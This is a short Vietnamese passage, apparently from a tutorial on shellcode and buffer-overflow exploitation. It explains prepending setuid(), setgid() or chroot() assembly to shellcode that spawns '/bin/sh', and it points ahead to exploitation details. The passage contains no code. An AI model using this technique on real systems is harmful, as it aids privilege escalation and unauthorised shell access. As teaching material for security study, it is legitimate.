Ta có thể thêm vào các hàm để mở rộng tính năng của shellcode, thực hiện các thao tác cần
thiết khác trước khi gọi "/bin/sh" như setuid(), setgid(), chroot(), bằng cách chèn mã hợp ngữ
của các hàm này vào trước đoạn shellcode trên.
Có thể thấy ở ví dụ chạy thử shellcode ý tưởng cơ bản để khai thác lỗi tràn bộ đệm, chi tiết sẽ
được trình bày trong phần tiếp theo.

×